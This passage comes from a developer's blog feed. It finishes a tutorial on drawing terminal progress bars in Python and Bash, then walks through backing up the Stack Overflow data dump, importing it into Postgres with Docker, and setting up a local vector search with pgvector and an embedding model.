sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">{</span>MOVE_UP<span class="token punctuation">}</span></span><span class="token interpolation"><span class="token punctuation">{</span>MOVE_UP<span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">{</span>CLEAR_LINE<span class="token punctuation">}</span></span><span class="token string">Overall Progress (</span><span class="token interpolation"><span class="token punctuation">{</span>iteration<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">}</span></span><span class="token string">/</span><span class="token interpolation"><span class="token punctuation">{</span>overall_iterations<span class="token punctuation">}</span></span><span class="token string">)"</span></span><span class="token punctuation">)</span>
<span class="token comment"># Move to the next line to update loop status</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">{</span>CLEAR_LINE<span class="token punctuation">}</span></span><span class="token string">Processing: [</span><span class="token interpolation"><span class="token punctuation">{</span><span class="token string">'#'</span> <span class="token operator">*</span> <span class="token punctuation">(</span>loop<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token interpolation"><span class="token punctuation">{</span><span class="token string">'-'</span> <span class="token operator">*</span> <span class="token punctuation">(</span>loops<span class="token operator">-</span>loop<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">] </span><span class="token interpolation"><span class="token punctuation">{</span>loop<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">}</span></span><span class="token string">/</span><span class="token interpolation"><span class="token punctuation">{</span>loops<span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span>
sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.2</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\nDone!"</span><span class="token punctuation">)</span></code></pre>
<p>So to put it another way, we are using the control sequences to move around on the terminal ‘space’ to update relevant lines and make it look like we have two progress indicators at once.</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/006.mp4" type="video/mp4" />
</video>
<h2 id="what-you-should-use" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#what-you-should-use">What you should use</a></h2>
<p>The examples here are meant to be educational, or for quick-and-dirty progress indicators without dependencies.</p>
<p>In practice, for production grade scripts, you should consider using a library such as <a href="https://github.com/tqdm/tqdm">tqdm</a> or <a href="https://rich.readthedocs.io/en/latest/progress.html">rich</a>. They handle a lot of edge cases and have many features and effects that you can easily use.</p>
<h2 id="in-bash" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#in-bash">In Bash</a></h2>
<p>The examples above are all Python for simplicity, but you can do it in Bash too, though it’s a bit more verbose and less readable. Here are the main examples anyway, done in Bash.</p>
<p>The number indicator:</p>
<pre class="language-bash"><code class="language-bash"><span class="token assign-left variable">num_steps</span><span class="token operator">=</span><span class="token number">20</span>
<span class="token keyword">for</span> <span class="token variable"><span class="token punctuation">((</span>step<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> step<span class="token operator"><=</span>num_steps<span class="token punctuation">;</span> step<span class="token operator">++</span><span class="token punctuation">))</span></span><span class="token punctuation">;</span> <span class="token keyword">do</span>
<span class="token builtin class-name">printf</span> <span class="token string">"<span class="token entity" title="\r">\r</span>Processing %2d/%2d"</span> <span class="token string">"<span class="token variable">$step</span>"</span> <span class="token string">"<span class="token variable">$num_steps</span>"</span>
<span class="token function">sleep</span> <span class="token number">0.2</span>
<span class="token keyword">done</span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-e</span> <span class="token string">"<span class="token entity" title="\n">\n</span>Done!"</span></code></pre>
<p>The single character spinner:</p>
<pre class="language-bash"><code class="language-bash"><span class="token assign-left variable">chars</span><span class="token operator">=</span><span class="token punctuation">(</span><span class="token string">"|"</span>, <span class="token string">"/"</span> <span class="token string">"-"</span> <span class="token string">"<span class="token entity" title="\\">\\</span>"</span><span class="token punctuation">)</span>
<span class="token assign-left variable">total</span><span class="token operator">=</span><span class="token number">20</span>
<span class="token keyword">for</span> <span class="token variable"><span class="token punctuation">((</span>step<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> step<span class="token operator"><</span>total<span class="token punctuation">;</span> step<span class="token operator">++</span><span class="token punctuation">))</span></span><span class="token punctuation">;</span> <span class="token keyword">do</span>
<span class="token assign-left variable">char</span><span class="token operator">=</span><span class="token string">"<span class="token variable">${chars<span class="token punctuation">[</span>step <span class="token operator">%</span> ${<span class="token operator">#</span>chars<span class="token punctuation">[</span>@<span class="token punctuation">]</span>}</span>]}"</span>
<span class="token builtin class-name">printf</span> <span class="token string">"<span class="token entity" title="\r">\r</span>%s Processing..."</span> <span class="token string">"<span class="token variable">$char</span>"</span>
<span class="token function">sleep</span> <span class="token number">0.2</span>
<span class="token keyword">done</span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-e</span> <span class="token string">"<span class="token entity" title="\n">\n</span>Done!"</span></code></pre>
<p>And the progress bar:</p>
<pre class="language-bash"><code class="language-bash"><span class="token assign-left variable">total</span><span class="token operator">=</span><span class="token number">20</span>
<span class="token assign-left variable">bar_size</span><span class="token operator">=</span><span class="token number">20</span>
<span class="token keyword">for</span> <span class="token variable"><span class="token punctuation">((</span>i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator"><=</span>total<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">))</span></span><span class="token punctuation">;</span> <span class="token keyword">do</span>
<span class="token assign-left variable">percent</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$((</span> i <span class="token operator">*</span> <span class="token number">100</span> <span class="token operator">/</span> total <span class="token variable">))</span></span>
<span class="token assign-left variable">filled</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$((</span> i <span class="token operator">*</span> bar_size <span class="token operator">/</span> total <span class="token variable">))</span></span>
<span class="token assign-left variable">empty</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$((</span> bar_size <span class="token operator">-</span> filled <span class="token variable">))</span></span>
<span class="token assign-left variable">bar_str</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">printf</span> <span class="token string">"%<span class="token variable">${filled}</span>s"</span> <span class="token operator">|</span> <span class="token function">tr</span> <span class="token string">' '</span> <span class="token string">'#'</span><span class="token variable">)</span></span>
<span class="token assign-left variable">empty_str</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">printf</span> <span class="token string">"%<span class="token variable">${empty}</span>s"</span> <span class="token operator">|</span> <span class="token function">tr</span> <span class="token string">' '</span> <span class="token string">'-'</span><span class="token variable">)</span></span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-ne</span> <span class="token string">"<span class="token entity" title="\r">\r</span>Processing: [<span class="token variable">${bar_str}</span><span class="token variable">${empty_str}</span>] <span class="token variable">${percent}</span>%"</span>
<span class="token function">sleep</span> <span class="token number">0.1</span>
<span class="token keyword">done</span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-e</span> <span class="token string">"<span class="token entity" title="\n">\n</span>Done!"</span></code></pre>
We should probably start taking backups of Stack Overflow2026-01-18T00:00:00Zhttps://code.mendhak.com/taking-a-backup-of-stackoverflow/<p>I have been seeing a number of <a href="https://meta.stackoverflow.com/questions/437921/how-does-the-continued-decline-in-posts-since-may-25-influence-our-interpretati">articles and discussions</a> regarding the decline of Stack Overflow posting activity over the past year. My immediate first thought was around the value that the question-answer dataset holds, and what would happen if it were to be shut down, or its vast repository of questions and answers rendered inaccessible; would it be prudent to start taking backups of the data, not just for archival purposes but for continued access to its highly valuable knowledgebase?</p>
<p>It isn’t possible to predict what the actual outcome will be. Although <em>posting</em> activity is down, that isn’t the full story, and I haven’t any clue whether <em>visitor traffic</em> is down as well. However, given that it’s <a href="https://meta.stackoverflow.com/questions/408138/what-will-happen-to-stack-overflow-now-that-it-has-been-sold-to-prosus-for-1-8">owned by a for-profit company</a>, and metrics tend to be a key factor in decision making for rent-seeking entities, it isn’t out of the question that they could simply decide to shut it down if they are unable to extract enough value.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/001.png"><img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/001.png" alt="Graph showing StackOverflow new posts reducing over time" title="" loading="lazy" data-caption="Stack Overflow posting activity" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/002.png"><img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/002.png" alt="Graph showing SuperUser new posts reducing over time" title="" loading="lazy" data-caption="SuperUser posting activity" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/003.png"><img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/003.png" alt="Graph showing Ask Ubuntu new posts reducing over time" title="" loading="lazy" data-caption="Ask Ubuntu posting activity" style="width: calc(33% - 0.5em);" /></span>
<figcaption>Posting activity on the important Stack Exchange sites</figcaption></figure>
<h2 id="the-questions-i-wanted-to-answer" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#the-questions-i-wanted-to-answer">The questions I wanted to answer</a></h2>
<p>There are two questions that I wanted to answer, even if they are crude approximations.</p>
<ol>
<li>Can I get access to a data dump if I need it in the future</li>
<li>Can I set up a workable search over the data dump</li>
</ol>
<p>It’s a sort-of disaster recovery planning exercise combined with a proof of concept.</p>
<h2 id="what-are-the-data-dump-options" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#what-are-the-data-dump-options">What are the data dump options?</a></h2>
<p>There’s no guarantee, in the event of a shutdown, that the knowledge will be preserved elsewhere on the internet or released for archival purposes. Stack Exchange Inc., the company behind the network of Q&A sites, has not been very reassuring regarding the availability of data dumps.</p>
<p>They used to post <a href="https://archive.org/details/stackexchange">data dumps to archive.org</a>, but in 2023 briefly cancelled the data dump, reinstated it after backlash, then <a href="https://meta.stackexchange.com/q/401324">cancelled and moved the data dumps</a> behind user authentication in 2024, while also discouraging archive.org reuploads.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/004.png">
<img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/004.png" alt="Settings screen on StackOverflow allowing data dump download" title="" loading="lazy" /></span>
<figcaption>Data dump access in 2026</figcaption>
</figure><p></p>
<p>They have also briefly experimented with <a href="https://meta.stackexchange.com/questions/412018/fabricated-data-in-posts-xml-for-multiple-all-data-dumps">adding watermarks to the data dumps</a> in early 2025, which is a worrying sign of things to come. Although, it’s somewhat understandable why they did this, given the rampant commercial exploitations they’re experiencing.</p>
<p>Community members with much greater foresight have already taken steps to provide unofficial backups of the data dumps with better accessibility options. There are <a href="https://archive.org/details/stackexchange_20251231">unofficial archive.org uploads</a>, which endeavour to take into account the bogus data watermarking as well. There are also unofficial torrents of varying cadence, <a href="https://academictorrents.com/browse.php?search=stackexchange">being tracked on Academic Torrents</a>.</p>
<p>The best course of action is to torrent: seeding the unofficial torrents which not only helps with availability, but also decentralizes the data, making it less likely to be lost. It might still be worth taking a one-off data dump directly from Stack Overflow while it’s still available, and squirrelling it away somewhere for future use.</p>
<h3 id="llms-are-not-a-strategy" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#llms-are-not-a-strategy">LLMs are not a strategy</a></h3>
<p>To the uninformed, the prevalence of those lossy probabilistic word calculators (aka large language models) for instant gratification responses may give the impression that the preservation of the original data dumps is no longer necessary. I still regularly have to refer to Stack Overflow posts for specific technical issues and investigations, which the LLMs reliably fumble with their insistent digital hamfistedness.</p>
<p>Of course, the large, leeching, monolithic entitites behind these LLMs will have their own pristine archives of the various data dumps, complete with meticulous tooling to extract and train on the community’s collective knowledge. Unfortunately, like many others of their ilk, they are content with training and profiting off the community’s knowledge without reciprocation.</p>
<p>From a preservation standpoint, this isn’t ideal, as the knowledge sources are more important than the models that are trained on them and other derivatives. Without the source material, the answers will remain unverifiable and untrustworthy.</p>
<h2 id="working-with-the-stack-overflow-data-dump" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#working-with-the-stack-overflow-data-dump">Working with the Stack Overflow data dump</a></h2>
<p>Given the years and volumes of accumulated questions and answers, I was a little surprised to find that the entire Stack Overflow data dump was just ~70 GB compressed. Each table is stored in the archive as an XML file, each element representing a row in the table. Each Stack Exchange network site has its own data dump, but follows the same schema which means that the learnings from one site can be applied to the others. I feel it worth praising the simplicity of the design of these sites and their reusability.</p>
<p>The most important tables to me are the <code>Posts</code> table (105 GB uncompressed), which contains both questions and answers, and the <code>Comments</code> table (28 GB uncompressed) which will have little bits of additional context.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/005.png">
<img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/005.png" alt="Listing of files inside the data dump, on Linux" title="" loading="lazy" /></span>
<figcaption>Stack Overflow data dump contents</figcaption>
</figure><p></p>
<p>The schema is documented on <a href="https://meta.stackexchange.com/q/2677">this post</a>, and there is surprisingly little official documentation available on how to work with it. We know that it’s an export of a Microsoft SQL Server database, so restoring it should be a matter of using its <a href="https://learn.microsoft.com/en-us/sql/relational-databases/xml/load-xml-data?view=sql-server-ver17">XML loading capabilities</a>.</p>
<p>For other databases, the community once again steps in with <a href="https://meta.stackexchange.com/questions/28221/scripts-to-convert-data-dump-to-other-formats">various scripts</a> to convert the data dump into other formats. I wanted to work with Postgres, so I used <a href="https://github.com/sth/sodata/">sodata</a>.</p>
<h3 id="importing-into-postgres-using-pgimport" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#importing-into-postgres-using-pgimport">Importing into Postgres using <code>pgimport</code></a></h3>
<p>I actually ended up setting up <a href="https://github.com/mendhak/stackoverflow-data-exploration/">a Github repo</a> complete with Dockerfile, docker-compose, and helper scripts to make it easier to reproduce the steps.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/stackoverflow-data-exploration"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/stackoverflow-data-exploration </span> </a> </div> <div class="github-repo-text">Files to help explore the stackoverflow data and query it with vector search</div> <div class="stats-icons"> <a href="https://github.com/mendhak/stackoverflow-data-exploration/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 1 </a> <a href="https://github.com/mendhak/stackoverflow-data-exploration/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 0 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Python</a> </div></div>
<p>I started by building <code>sodata</code> into <a href="https://github.com/mendhak/stackoverflow-data-exploration/blob/main/Dockerfile">a Docker image</a>; it clones from the original Github for convenience.</p>
<p>After building it,</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> build <span class="token parameter variable">-t</span> sodata-pgimport <span class="token builtin class-name">.</span></code></pre>
<p>I then set up Postgres in Docker, mounting the data dump folder so that <code>pgimport</code> can access the XML files.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">--name</span> pgstackoverflow <span class="token parameter variable">-e</span> <span class="token assign-left variable">POSTGRES_PASSWORD</span><span class="token operator">=</span>localpassword <span class="token parameter variable">-e</span> <span class="token assign-left variable">POSTGRES_USER</span><span class="token operator">=</span>localuser <span class="token parameter variable">-e</span> <span class="token assign-left variable">POSTGRES_DB</span><span class="token operator">=</span>stackoverflow <span class="token parameter variable">-p</span> <span class="token number">5432</span>:5432 <span class="token parameter variable">-v</span> pgstackoverflow_data:/var/lib/postgresql <span class="token parameter variable">-v</span> /home/mendhak/Downloads/StackOverflowData/stackoverflow.com:/data postgres:18 </code></pre>
<p>I then ran the <code>pgimport</code> tool from its built image, connecting to the Postgres instance.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">--network</span> <span class="token function">host</span> <span class="token parameter variable">-v</span> /home/mendhak/Downloads/StackOverflowData/stackoverflow.com:/data sodata-pgimport <span class="token parameter variable">-c</span> <span class="token string">"host=localhost dbname=stackoverflow user=localuser password=localpassword"</span> <span class="token parameter variable">-o</span> Posts <span class="token parameter variable">-I</span></code></pre>
<p>The <code>--network host</code> makes use of some clever Linux networking, so that the <code>pgimport</code> container could connect to the Postgres instance. The <code>/data</code> folder is mounted in both containers, and maps to the location where the Stack Overflow data dump XML files are stored. The <code>-o Posts</code> indicates that I only want to import the <code>Posts.xml</code> file, and the <code>-I</code> indicates that I want to create indexes after the import. The way the tool works is that it first converts the XML into a CSV file, and then uses Postgres’ <code>COPY</code> command to bulk load the data.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/006.png"><img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/006.png" alt="Linux terminal showing the import process beginning" title="" loading="lazy" data-caption="Starting the import" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/007.png"><img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/007.png" alt="Linux terminal showing the import process completing" title="" loading="lazy" data-caption="Complete!" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Importing Stack Overflow data dump into Postgres</figcaption></figure>
<h3 id="exploring-the-data" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#exploring-the-data">Exploring the data</a></h3>
<p>Once the import was complete, I connected to the Postgres instance and created an index on the <code>id</code> column of the <code>posts</code> table, to speed up lookups.</p>
<pre class="language-sql"><code class="language-sql"><span class="token keyword">CREATE</span> <span class="token keyword">INDEX</span> idx_post_id <span class="token keyword">ON</span> <span class="token keyword">public</span><span class="token punctuation">.</span>posts <span class="token punctuation">(</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>The <code>posts</code> table contains both questions and answers. The <code>PostTypeID</code> column indicates whether a row is a question (1) or an answer (2). The <code>ParentID</code> column links answers to their respective questions.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/008.png">
<img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/008.png" alt="Query results from the POSTS table for a specific post ID" title="" loading="lazy" /></span>
<figcaption>Sample posts data</figcaption>
</figure><p></p>
<p>Other useful queries included getting all questions with at least one answer (and concatenating them, why not):</p>
<pre class="language-sql"><code class="language-sql"><span class="token keyword">SELECT</span>
parent_posts<span class="token punctuation">.</span>id<span class="token punctuation">,</span>
parent_posts<span class="token punctuation">.</span>title<span class="token punctuation">,</span>
<span class="token function">COUNT</span><span class="token punctuation">(</span>child_posts<span class="token punctuation">.</span>id<span class="token punctuation">)</span> <span class="token keyword">AS</span> num_answers<span class="token punctuation">,</span>
parent_posts<span class="token punctuation">.</span>body <span class="token keyword">AS</span> parent_body<span class="token punctuation">,</span>
STRING_AGG<span class="token punctuation">(</span>child_posts<span class="token punctuation">.</span>body<span class="token punctuation">,</span> <span class="token string">'\n\n'</span> <span class="token keyword">ORDER</span> <span class="token keyword">BY</span> child_posts<span class="token punctuation">.</span>id<span class="token punctuation">)</span> <span class="token keyword">AS</span> all_answers
<span class="token keyword">FROM</span> <span class="token keyword">public</span><span class="token punctuation">.</span>posts <span class="token keyword">AS</span> parent_posts
<span class="token keyword">INNER</span> <span class="token keyword">JOIN</span> <span class="token keyword">public</span><span class="token punctuation">.</span>posts <span class="token keyword">AS</span> child_posts
<span class="token keyword">ON</span> child_posts<span class="token punctuation">.</span>parentid <span class="token operator">=</span> parent_posts<span class="token punctuation">.</span>id
<span class="token keyword">GROUP</span> <span class="token keyword">BY</span> parent_posts<span class="token punctuation">.</span>id<span class="token punctuation">,</span> parent_posts<span class="token punctuation">.</span>title<span class="token punctuation">,</span> parent_posts<span class="token punctuation">.</span>body
<span class="token keyword">ORDER</span> <span class="token keyword">BY</span> parent_posts<span class="token punctuation">.</span>id <span class="token keyword">DESC</span>
<span class="token keyword">LIMIT</span> <span class="token number">50</span><span class="token punctuation">;</span>
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/taking-a-backup-of-stackoverflow/009.png">
<img src="https://code.mendhak.com/assets/images/taking-a-backup-of-stackoverflow/009.png" alt="Query results from POSTS table showing recent questions and answers" title="" loading="lazy" /></span>
<figcaption>Sample of recent questions and answers</figcaption>
</figure><p></p>
<p>So this was a good start on the exploration, and I think it was enough to prove that the data could be restored to a database and queried.</p>
<h3 id="searching-the-data" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/taking-a-backup-of-stackoverflow/#searching-the-data">Searching the data</a></h3>
<p>The next step was to see how I could do searches over this. Stack Overflow’s own search makes use of ElasticSearch, but it wasn’t the normal way I encountered posts; I usually found them via search engines, so the closest approximation would be to implement a vector search over the posts to get that more natural language experience.</p>
<p>For this I would need the <code>pgvector</code> extension for Postgres, and an embedding model to generate embeddings for the posts.</p>
<p>Switching out the Postgres Docker image to the <code>pgvector</code> one was easy enough:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">--name</span> pgstackoverflow <span class="token parameter variable">-e</span> <span class="token assign-left variable">POSTGRES_PASSWORD</span><span class="token operator">=</span>localpassword <span class="token parameter variable">-e</span> <span class="token assign-left variable">POSTGRES_USER</span><span class="token operator">=</span>localuser <span class="token parameter variable">-e</span> <span class="token assign-left variable">POSTGRES_DB</span><span class="token operator">=</span>stackoverflow <span class="token parameter variable">-p</span> <span class="token number">5432</span>:5432 <span class="token parameter variable">-v</span> pgstackoverflow_data:/var/lib/postgresql <span class="token parameter variable">-v</span> /home/mendhak/Downloads/StackOverflowData/stackoverflow.com:/data pgvector/pgvector:0.8.1-pg18-trixie
<span class="token comment"># Remember to enable the extension</span>
<span class="token function">docker</span> run <span class="token parameter variable">--rm</span> <span class="token parameter variable">--network</span> <span class="token function">host</span> <span class="token parameter variable">-it</span> postgres:18 psql <span class="token parameter variable">-h</span> localhost <span class="token parameter variable">-U</span> localuser <span class="token parameter variable">-d</span> stackoverflow <span class="token parameter variable">-c</span> <span class="token string">"CREATE EXTENSION vector;"</span></code></pre>
<p>I created a new table to hold the question-answer bodies along with their embeddings.</p>
<pre class="language-sql"><code class="language-sql"><span class="token keyword">CREATE</span> <span class="token keyword">TABLE</span> search_qa <span class="token punctuation">(</span>
id <span class="token keyword">INT</span> <span class="token keyword">PRIMARY</span> <span class="token keyword">KEY</span><span class="token punctuation">,</span>
qa_body <span class="token keyword">TEXT</span><span class="token punctuation">,</span>
embedding VECTOR<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span>
<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>Because this was just proving a point, I didn’t want to create embeddings for all 60 million+ posts. A representative sample of recent questions and answers would do just fine. To that end I created <a href="https://github.com/mendhak/stackoverflow-data-exploration/blob/main/generate_embeddings.py">this Python script which uses vllm</a>, to grab the most recent 50 questions with answers, combine them into a single text string, and generate an embedding using the <code>Qwen3-Embedding-0.6B</code> model. With the embedding model I wanted to ensure that it could be run locally, without relying on an external service.</p>
<pre class="language-python"><code class="language-python">
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
model <span class="token operator">=</span> LLM<span class="token punctuation">(</span>
model<span class="token operator">=</span><span class="token string">"Qwen/Qwen3-Embedding-0.6B"</span><span class="token punctuation">,</span>
max_model_len<span class="token operator">=</span><span class="token number">16384</span><span class="token punctuation">,</span>
gpu_memory_utilization<span class="token operator">=</span><span class="token number">0.85</span><span class="token punctuation">,</span>
enforce_eager<span class="token operator">=</span><span class="token boolean">True</span>
<span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">for</span> row <span class="token keyword">in</span> rows<span class="token punctuation">:</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
combined_text <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f"Title: </span><span class="token interpolation"><span class="token punctuation">{</span>title<span class="token punctuation">}</span></span><span class="token string">\n\nBody: </span><span class="token interpolation"><span class="token punctuation">{</span>parent_body<span class="token punctuation">}</span></span><span class="token string">\n\nAnswers:\n</span><span class="token interpolation"><span class="token punctuation">{</span>all_answers<span class="token punctuation">}</span></span><span class="token string">"</span></span>
outputs <span class="token operator">=</span> model<span class="token punctuation">.</span>embed<span class="token punctuation">(</span><span class="token punctuation">[</span>combined_text<span class="token punctuation">]</span><span class="token punctuation">)</span>
embedding <span class="token operator">=</span> outputs<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>outputs<span class="token punctuation">.</span>embedding
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Post ID </span><span class="token interpolation"><span class="token punctuation">{</span>post_id<span class="token punctuation">}</span></span><span class="token string">: Embedding shape=</span><span class="token interpolation"><span class="token punctuation">{</span><span class="token builtin">len</span><span class="token punctuation">(</span>embedding<span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">, first 10 values=</span><span class="token interpolation"><span class="token punctuation">{</span>embedding<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token format-spec">10]</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span>
